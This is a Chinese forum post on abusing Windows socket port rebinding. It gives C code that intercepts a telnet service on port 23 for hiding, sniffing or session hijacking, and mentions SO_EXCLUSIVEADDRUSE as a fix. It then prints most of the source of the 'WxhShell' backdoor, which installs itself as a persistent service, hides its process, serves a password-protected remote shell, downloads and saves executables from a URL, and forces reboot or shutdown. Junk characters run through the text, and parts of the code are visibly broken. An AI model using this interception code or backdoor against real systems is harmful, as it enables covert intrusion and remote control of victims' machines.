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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .#e?[xxk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .ddf'$6h  
Dm;aTe  
  saddr.sin_family = AF_INET; 8`b_,(\N  
_ =O;Lz$x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :bp8S@  
bb`DyUy ^+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ve/|"RB  
Z=s]@r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -S $Y0FDV  
)Oj%3  
  这意味着什么?意味着可以进行如下的攻击: pEGHW;  
@2A&eLw LH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z oKXao  
lS`VJA6l.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x5W@zqj  
RjR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r<kqs,-~  
~rz%TDX0\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \9.@T g8`  
v.H@Ey2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hKK"D:?PRs  
o:/yme G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fJG!TQJ[Y  
Ria*+.k@"B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]:]w+N%7  
<m?/yRE K2  
  #include dy0xz5N-  
  #include y"0! 7^  
  #include q&k?$rn  
  #include    3)py|W%X $  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qc^qCGy!z  
  int main() ATU]KL!{  
  { !RdubM  
  WORD wVersionRequested; O:O +Q!58  
  DWORD ret; u#34mg..  
  WSADATA wsaData; lLeN`{?  
  BOOL val; 5l(NX  
  SOCKADDR_IN saddr; dr7ry"5Zq  
  SOCKADDR_IN scaddr; :j#Fq d[DF  
  int err; yy3-Xu4  
  SOCKET s; >9]i#So^  
  SOCKET sc; w w{07g  
  int caddsize; iX'#~eK*<  
  HANDLE mt; :.EVvuXI  
  DWORD tid;   '^6x-aeq[D  
  wVersionRequested = MAKEWORD( 2, 2 ); #v4q:&yKf  
  err = WSAStartup( wVersionRequested, &wsaData ); lW YgIpw  
  if ( err != 0 ) { VbzW4J_  
  printf("error!WSAStartup failed!\n"); Jyu*{  
  return -1; UzmD2A sO"  
  } pSJc.j  
  saddr.sin_family = AF_INET; S A16Ng  
   uzUZuJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GSu&Z/Jo  
0NG<uZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2l!* o7  
  saddr.sin_port = htons(23); zINziAp{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {B lM<  
  { 0V:PRq;v0  
  printf("error!socket failed!\n"); &ffd#2f`@  
  return -1; "@)9$-g  
  } 3DO ^vV  
  val = TRUE; T]Eg9Y:+v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tj*Vk $}0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) onAC;<w  
  { Vnq&lz%QqC  
  printf("error!setsockopt failed!\n"); 8L*P!j9`EY  
  return -1; VpkkiN  
  } y\"Kur*O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ({AqL#x`u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 | sio:QP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tO ^KCnL  
~<#!yRy>r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U#!f^@&AB  
  { `[Xff24(eb  
  ret=GetLastError(); A5> ,e|  
  printf("error!bind failed!\n"); m2"~.iM8  
  return -1; nXOJ  
  } ${F] N }  
  listen(s,2); /!Ng"^.e  
  while(1) Jk!*j  
  { I=I'O?w  
  caddsize = sizeof(scaddr); YAf`Fnmw  
  //接受连接请求 x7]Yn'^'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iv/!c Mb  
  if(sc!=INVALID_SOCKET) noa =wy  
  { ]2P*Z6Az  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L.@o  
  if(mt==NULL) "R/Xv+;  
  { n++L =&Wd  
  printf("Thread Creat Failed!\n"); k/ 9S  
  break; ^B|Q&1  
  } J,k|_JO  
  } m:7$"oq|  
  CloseHandle(mt); HsGyNkr?r  
  } g0D(:_QXp:  
  closesocket(s); ,!s;o6|*y  
  WSACleanup(); \We\*7^E  
  return 0; 8 3wa{m:  
  }   sSMcF[]@2I  
  DWORD WINAPI ClientThread(LPVOID lpParam) }QL 2#R  
  { 8&"@6/)[  
  SOCKET ss = (SOCKET)lpParam; WU -_Y^  
  SOCKET sc; 75LIQ!G|=  
  unsigned char buf[4096]; /i#~#Bn|  
  SOCKADDR_IN saddr; czV][\5  
  long num; m*MfGj(  
  DWORD val; / b_C9'S  
  DWORD ret; (hn@+hc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6:(*u{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Iu`xe  
  saddr.sin_family = AF_INET;  S=o1k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S6r$n  
  saddr.sin_port = htons(23); =hO0 @w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HNRZ59Yyq  
  { X;I;CZ={  
  printf("error!socket failed!\n"); sacaL4[_<  
  return -1; jz%%r Q(  
  } i0%S6vmaS  
  val = 100; .}>DEpc:n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9o]h}Xc  
  { N{u4  
  ret = GetLastError(); lIg;>|'Z5&  
  return -1; L)cy&"L|  
  } pUs s_3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xi.L?"^/!  
  { w}<CH3cx  
  ret = GetLastError(); ^f -?xXPx  
  return -1; e.<$G'  
  } oc>ne]_'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SJRiMR_F~  
  { f<V#Yc(U }  
  printf("error!socket connect failed!\n"); WvN!8*XFM  
  closesocket(sc); y^#jM  
  closesocket(ss); 8#9 di  
  return -1; Su0[f/4m.Q  
  } $\|$ekil4  
  while(1)  G.3 qg%  
  { F(-Q]xj,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \o-Q9V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Y"[Qs]"mU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v(T;Y=&  
  num = recv(ss,buf,4096,0); v(? ^#C>6W  
  if(num>0) ,iXE3TN;W  
  send(sc,buf,num,0); OA\2ja~+  
  else if(num==0) $DmWK_A  
  break; @tY)s  
  num = recv(sc,buf,4096,0); ))" *[  
  if(num>0) /Ot=GhN]  
  send(ss,buf,num,0); 5 JE8/CbH  
  else if(num==0) R$<LEwjSw  
  break; 0jsU^m<g  
  } 9OeY59 :  
  closesocket(ss); \>8"r,hG|  
  closesocket(sc); +1Ha,O k  
  return 0 ; 7(m4,l+(  
  } Vj7(6'Hg  
=y; tOdj  
W_NQi  
========================================================== )SMS<J  
Kf<-PA  
下边附上一个代码,,WXhSHELL X&1R6 O  
4+t9"SD  
========================================================== c]`}DH,TJ  
Ds4n>V,o  
#include "stdafx.h" :" 9 :J  
HL;y5o?  
#include <stdio.h> 2jTP (b2b  
#include <string.h> ]VifDFL}  
#include <windows.h> qNP&f 8fH  
#include <winsock2.h> &D "$N"  
#include <winsvc.h> 28u)q2s^W|  
#include <urlmon.h>  A7*<,]qT  
}[P1Va[!  
#pragma comment (lib, "Ws2_32.lib") Ux~rBv''  
#pragma comment (lib, "urlmon.lib") f?wn;;z`  
_L mDF8Q(  
#define MAX_USER   100 // 最大客户端连接数 X6jW mo8]  
#define BUF_SOCK   200 // sock buffer }yup`R  
#define KEY_BUFF   255 // 输入 buffer J G xuB*}  
PiMW 29B^  
#define REBOOT     0   // 重启 @|:_?  
#define SHUTDOWN   1   // 关机 #/NZ0IbHk  
 pei-R  
#define DEF_PORT   5000 // 监听端口 MS,J+'2  
@B;2z_Y!l  
#define REG_LEN     16   // 注册表键长度 kw8?:: <  
#define SVC_LEN     80   // NT服务名长度 6b9 oSY-8  
`+[e]dH  
// 从dll定义API 58"Cn ||tF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]de'v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #<V/lPz+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WQ/H8rOs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {=W TAgP  
&?m|PK)I  
// wxhshell配置信息 9NTBdo%u  
struct WSCFG { COe"te  
  int ws_port;         // 监听端口 fcd\{1#u  
  char ws_passstr[REG_LEN]; // 口令 eRkvNI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Xb,Swo~  
  char ws_regname[REG_LEN]; // 注册表键名 <]6])f,y\  
  char ws_svcname[REG_LEN]; // 服务名 ,E{z+:Es  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5;wA7@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !424K-nW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #9Z\jW6b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0?} ),8v>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -POV#1s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (9hCO-r  
(0jT#&#  
}; rPoPs@CBD  
vd Fy}#X  
// default Wxhshell configuration ?;pw*s1Atz  
struct WSCFG wscfg={DEF_PORT, `y5?lS*  
    "xuhuanlingzhe", Ca]+*Eb9z{  
    1, 1 "'t5?XW  
    "Wxhshell", t|Cp<k]B  
    "Wxhshell", uGIA4CUm  
            "WxhShell Service", w] b3,b  
    "Wrsky Windows CmdShell Service", ~1&%,$fZ  
    "Please Input Your Password: ", @= f2\hU  
  1, ~^((tT  
  "http://www.wrsky.com/wxhshell.exe",  LAG*H  
  "Wxhshell.exe" L&O!"[++  
    }; T `x:80  
X{A|{u=  
// 消息定义模块 b/IT8Cm3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E/mp.f2!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QR<z%4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |QwX  
char *msg_ws_ext="\n\rExit."; \M~M  
char *msg_ws_end="\n\rQuit."; Y! e  
char *msg_ws_boot="\n\rReboot..."; 0|<ER3xkx  
char *msg_ws_poff="\n\rShutdown..."; vzl+0"  
char *msg_ws_down="\n\rSave to "; 4 G`7]<  
Ws"eF0,'Z  
char *msg_ws_err="\n\rErr!";  gBQK  
char *msg_ws_ok="\n\rOK!"; $\kqh$")  
4fPbwiK j  
char ExeFile[MAX_PATH]; =h,6/cs  
int nUser = 0; +]^6&MqO  
HANDLE handles[MAX_USER]; Pt~mpRl H  
int OsIsNt; s@^ (1g[w`  
f/t1@d!  
SERVICE_STATUS       serviceStatus; 2P9gS[Ub  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '\qd{mM\r  
7=yC*]BH-=  
// 函数声明 @/i;/$\  
int Install(void); %N 8/g]`7  
int Uninstall(void); hA1\+r  
int DownloadFile(char *sURL, SOCKET wsh); {2<A\nW  
int Boot(int flag); #L[-WC]1y  
void HideProc(void); 0PIiG-o9  
int GetOsVer(void); f`w$KVZ1!w  
int Wxhshell(SOCKET wsl); EgO=7?(pW  
void TalkWithClient(void *cs); Hn"xn79nc  
int CmdShell(SOCKET sock); __HPwOCG7  
int StartFromService(void); e;KZTH;  
int StartWxhshell(LPSTR lpCmdLine); Mf)0Y~_:R#  
F(*~[*Ff  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9U1cH qV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |:_WdU"Q]  
16"eyt>  
// 数据结构和表定义 ]Igd<  
SERVICE_TABLE_ENTRY DispatchTable[] = *sI`+4h[  
{ :7&#ej6  
{wscfg.ws_svcname, NTServiceMain}, "YbvI@pD  
{NULL, NULL} gJn|G#!  
}; .a._WZF  
^E_`M:~  
// 自我安装 xBH`=e <  
int Install(void) =ML6"jr  
{ ~Xi_bTAyAW  
  char svExeFile[MAX_PATH]; K)5'Jp@  
  HKEY key; 4naL2 Y!  
  strcpy(svExeFile,ExeFile); ({=: N  
[ iE%P^  
// 如果是win9x系统,修改注册表设为自启动 k$`~,LJp  
if(!OsIsNt) { '51DdT U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hhjT{>je  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dohq@+] O  
  RegCloseKey(key); U X)k;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &|('z\k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n(^{s5 Rr  
  RegCloseKey(key); :G$f)NMK  
  return 0; D 3m4:z  
    } .{+<o  
  } &oJ=   
} KKm &~^c  
else { M&P?/Zi=L  
4$Oakl*l  
// 如果是NT以上系统,安装为系统服务 ~\A(xmW}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uJ jm50R<  
if (schSCManager!=0) Y<%)Im6v/  
{ ;ru=z@  
  SC_HANDLE schService = CreateService f\+MnZ4[Qj  
  ( iB#xUSkS  
  schSCManager, dL%?k@R  
  wscfg.ws_svcname, NoS|lT  
  wscfg.ws_svcdisp, SP][xdN7  
  SERVICE_ALL_ACCESS, K3jKOV8   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , + v.I|c  
  SERVICE_AUTO_START, M\5aJ:cQ+  
  SERVICE_ERROR_NORMAL, aw9/bp*N  
  svExeFile, yRt]i>  
  NULL, K=x>%6W7b  
  NULL, |^jl^oW  
  NULL, l);M(<  
  NULL, gMe)\5`\Y  
  NULL {E *dDv  
  ); ,Bh!|H(?L1  
  if (schService!=0) "~~Js~  
  { 1eue.iuQ  
  CloseServiceHandle(schService); ' b41#/-  
  CloseServiceHandle(schSCManager); 9W3zcL8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O>]I!n`!!A  
  strcat(svExeFile,wscfg.ws_svcname); *?'nA{a)E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A&%vog]O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 94bmK V_  
  RegCloseKey(key); N"d M+  
  return 0; 0BF'@r";  
    } o HqBNTyH  
  } EA.4 m3  
  CloseServiceHandle(schSCManager); 9PXG*r|D  
} Fd@n#DR `  
} $'D|}=h<Y  
ut8v&i1?  
return 1; !{'C.sb?~  
} c#'t][Ii  
G'b*.\=  
// 自我卸载 }F3}-5![  
int Uninstall(void) MVdX  
{ D:`b61sWi_  
  HKEY key; 8Jnb/A}  
5 [{l9  
if(!OsIsNt) { '?]B ui  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ];& @T\Rj  
  RegDeleteValue(key,wscfg.ws_regname); yhzC 9nTH  
  RegCloseKey(key); $#R@x.=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pn:L=*  
  RegDeleteValue(key,wscfg.ws_regname); *o<zo `  
  RegCloseKey(key); wlc Cz  
  return 0; nrqr p  
  } F_>OpT  
} cMxuG'{=.  
} OwhMtYq  
else { \;&WF1d`ac  
pVgzUu7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \\Ps*HN  
if (schSCManager!=0) #R2wt7vE  
{ )+;Xfftz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W"j&':xD  
  if (schService!=0) ~qFuS933  
  { gaFOm9y.e  
  if(DeleteService(schService)!=0) { +T]/4"^M  
  CloseServiceHandle(schService); M7U:UV)  
  CloseServiceHandle(schSCManager); [n%=2*1p  
  return 0; J~.8.]gXW  
  } Q<4Sd:P`"  
  CloseServiceHandle(schService); ^0oOiZs  
  } %K0 H?^.  
  CloseServiceHandle(schSCManager); ;2Aqztp  
} $oF0[}S  
} {8b6M  
V~nqPh!Jc  
return 1; ^{f ^%)X  
} L1P.@hJ  
7p"4rL  
// 从指定url下载文件 '3B"@^]  
int DownloadFile(char *sURL, SOCKET wsh) ft |W  
{ p6)Jzh_/  
  HRESULT hr; ]70V  
char seps[]= "/"; )4h4ql W  
char *token; mn5y]:;`  
char *file; 0\W6X;?  
char myURL[MAX_PATH]; < cNJrer  
char myFILE[MAX_PATH]; L\)GPTo!x  
}Xa1K;KM{  
strcpy(myURL,sURL); >@Vap  
  token=strtok(myURL,seps); =i'APeNaQ  
  while(token!=NULL) 3a|I| NP  
  { Sfl. &A(  
    file=token; >;wh0dBe  
  token=strtok(NULL,seps); -zn$h$N4  
  } *@;Pns]L-  
l Vb{bO9-O  
GetCurrentDirectory(MAX_PATH,myFILE); [S Jx\Os  
strcat(myFILE, "\\"); CKB~&>xx  
strcat(myFILE, file); &E& _Z6#  
  send(wsh,myFILE,strlen(myFILE),0); -jXO9Q  
send(wsh,"...",3,0); Epo/}y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mKTE%lsH  
  if(hr==S_OK) n-djAhy  
return 0; H3Ws$vl9n  
else yRd[ $p  
return 1; hj4!* c  
5~,usA*  
} ut SW>  
=}F}XSvXH  
// 系统电源模块 <V} ec1  
int Boot(int flag) ,,}& Q%5  
{ l~mC$>f  
  HANDLE hToken; Qs\m"yx  
  TOKEN_PRIVILEGES tkp; GXk]u  
Pp{Re|.  
  if(OsIsNt) { ya`Z eQ-p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9(-f)$u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~<Eu @8+_  
    tkp.PrivilegeCount = 1; t=(d, kf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &9j*Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eDkJ+5b  
if(flag==REBOOT) { :{ 8,O-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8uh^%La8b.  
  return 0; YY4XCkt  
} k-CW?=  
else { lE=&hba  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #(Xv\OE  
  return 0; 2E 0A`  
} Z;'5A2  
  } %fJ~ 3mu  
  else { _P}wO8  
if(flag==REBOOT) { >;^t)6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /#Fz K  
  return 0; K=K]R01/o  
} (&o|}"kRq  
else { w ]%EJ|'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [8 I*lsS  
  return 0; td!YwN*  
} 0bz':M#k &  
} >~}}*yp  
u2o196,Ut  
return 1; TxA%{0  
} ;{j@ia  
RKb{QAK!v  
// win9x进程隐藏模块 OCN:{  
void HideProc(void) tO}Y=kZa{  
{ NG+%H1!$_  
52P^0<Wq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >1*Dg?/=S  
  if ( hKernel != NULL ) ^ }kqAmr  
  { #Fkn-/nL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G=( ja?d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tNf_,]u  
    FreeLibrary(hKernel); q;Rhx"x>T  
  } 1sNZl&  
]K-B#D{P  
return; 7X{@$>+S  
} WupONrH1e  
$ ?*XPzZ  
// 获取操作系统版本 Q$^)z_jai  
int GetOsVer(void) 49!(Sa_]j  
{  i|!D  
  OSVERSIONINFO winfo; ?{]"UnyVE*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yc`PK =!l  
  GetVersionEx(&winfo); INNTp[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WQ1K8B4  
  return 1; VJbn/5+P  
  else 6[T)Q^0`  
  return 0; pP)> x*1  
} n2N:rP  
<Kk[^.7C;  
// 客户端句柄模块 D6fGr$(N%  
int Wxhshell(SOCKET wsl) BJP^?FUd=,  
{ /St d6B*  
  SOCKET wsh; (.~,I+Cz'  
  struct sockaddr_in client; ,<O|#`?"@G  
  DWORD myID; CyKupJ.Fq  
z{ (c-7*  
  while(nUser<MAX_USER) M?v`C>j  
{ wDt9Lf O  
  int nSize=sizeof(client); s*tzU.E (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fq(3uE]nC  
  if(wsh==INVALID_SOCKET) return 1; g0 k{b  
rd ]dD G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2#_ i_j  
if(handles[nUser]==0)  q^Ui2  
  closesocket(wsh); g{e@I;F  
else HV[*=Qi  
  nUser++; czcsXBl[  
  } k/m-jm_h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _zG[b/:p  
xX~; /e&,  
  return 0; Gj- *D7X5  
} MT^krv(G  
F3=iyiz6  
// 关闭 socket ? oQ_qleuo  
void CloseIt(SOCKET wsh) Y;1J` oT  
{ nV_[40KP_  
closesocket(wsh); w=x [=O  
nUser--; evE$$# 6R  
ExitThread(0); D.,~I^W  
} Senb_?  
+GlG.6  
// 客户端请求句柄 l~#%j( Yo  
void TalkWithClient(void *cs) '-[?iF@l  
{ uuf+M-P  
_xdFQ  
  SOCKET wsh=(SOCKET)cs; dk.VH!uVb  
  char pwd[SVC_LEN]; PbIir=  
  char cmd[KEY_BUFF]; KY9&Ky+2B  
char chr[1]; s-e<&*D[  
int i,j; VI;)VJbq  
EViDMp"  
  while (nUser < MAX_USER) { .]LP327u  
wh#x`Nc  
if(wscfg.ws_passstr) { MB"<^ZX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /rzZU}3[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @YI- @  
  //ZeroMemory(pwd,KEY_BUFF); BE,H`G #h  
      i=0; Nrfj[I  
  while(i<SVC_LEN) { _<7e5VR  
;#n+$Q#:  
  // 设置超时 KBa   
  fd_set FdRead; X0BBJ(e  
  struct timeval TimeOut; Vbp`Rm1?  
  FD_ZERO(&FdRead); [' cq  
  FD_SET(wsh,&FdRead); (k<__W c_t  
  TimeOut.tv_sec=8; (T8dh|  
  TimeOut.tv_usec=0; X@^"@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N6uKFQL:{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4L/8Hj#g  
(E<QA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /u pDbP.O  
  pwd=chr[0]; 3sz?49tX  
  if(chr[0]==0xd || chr[0]==0xa) {  &DX  
  pwd=0; i4\m/&of3y  
  break; [8rl{~9E  
  } X.)D"+xnH  
  i++; Y5\=5r/  
    } &BkdC,o  
gB}UzEj^<  
  // 如果是非法用户,关闭 socket $LJCup,1"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }NF7"tOL  
} #RVN 7-x  
vF .Ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A9C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "V:E BR  
O_[]+5.TX  
while(1) { $ v~I n  
PP!} w  
  ZeroMemory(cmd,KEY_BUFF); r  |JZU  
RtScv  
      // 自动支持客户端 telnet标准   BV512+M  
  j=0; -:  8[  
  while(j<KEY_BUFF) { gs9VCaIa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @1tv/W  
  cmd[j]=chr[0]; A"no!AN  
  if(chr[0]==0xa || chr[0]==0xd) { JTfG^Nv>K  
  cmd[j]=0; \"AzT{l!;  
  break; SAtK 'Jx[  
  } `ILO]+`5  
  j++; +i6XCN1=  
    } &dvL`  
K0z@gWGE  
  // 下载文件 mFeoeI,Jv  
  if(strstr(cmd,"http://")) { #hP&;HZ2>"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _%6Vcy  
  if(DownloadFile(cmd,wsh)) &+-]!^2o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DK;i_i  
  else 0OPpALl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >TQnCG =  
  } &Ez]pKjB  
  else { riY[p,  
ma7@vD  
    switch(cmd[0]) { ;sfk@ec  
  7) e#b  
  // 帮助 rulw6vTB(  
  case '?': { (Gpk;DD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Q5 c'  
    break; rhvTV(Bz  
  } _)F0o C {  
  // 安装 d}_%xkC  
  case 'i': { nk-V{']  
    if(Install()) [SA$d`B/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&u~M=EW  
    else J<=k [Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iJem9XXb  
    break; oar`xH$C  
    } X/-u$c  
  // 卸载 v %GcNjZk5  
  case 'r': { wC4:OJ[d  
    if(Uninstall()) 6<+8[o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /;\{zA$uC=  
    else YMTB4|{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [sweN]b6F  
    break; n;,>Fv  
    } s2M|ni=  
  // 显示 wxhshell 所在路径 2[Q/|D}}|  
  case 'p': { L2m~ GnP|?  
    char svExeFile[MAX_PATH]; u=9)A9  
    strcpy(svExeFile,"\n\r"); a<ztA:xt|1  
      strcat(svExeFile,ExeFile); yHt `kb2  
        send(wsh,svExeFile,strlen(svExeFile),0); O]N 8Q H  
    break; ECF \/12  
    } Vs~!\<?  
  // 重启  f]JLFg7  
  case 'b': { ! fSM6Vo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %?~`'vYoi  
    if(Boot(REBOOT)) {'R\C5 :D7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OJ Y_u[  
    else { 2E d  
    closesocket(wsh); X__>r ?oJ  
    ExitThread(0); 6pi^rpo  
    } x0dO ^D  
    break; Nq=r404  
    } #}U*gVYe  
  // 关机 m_n*_tX  
  case 'd': { yk7l{F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bk9? =  
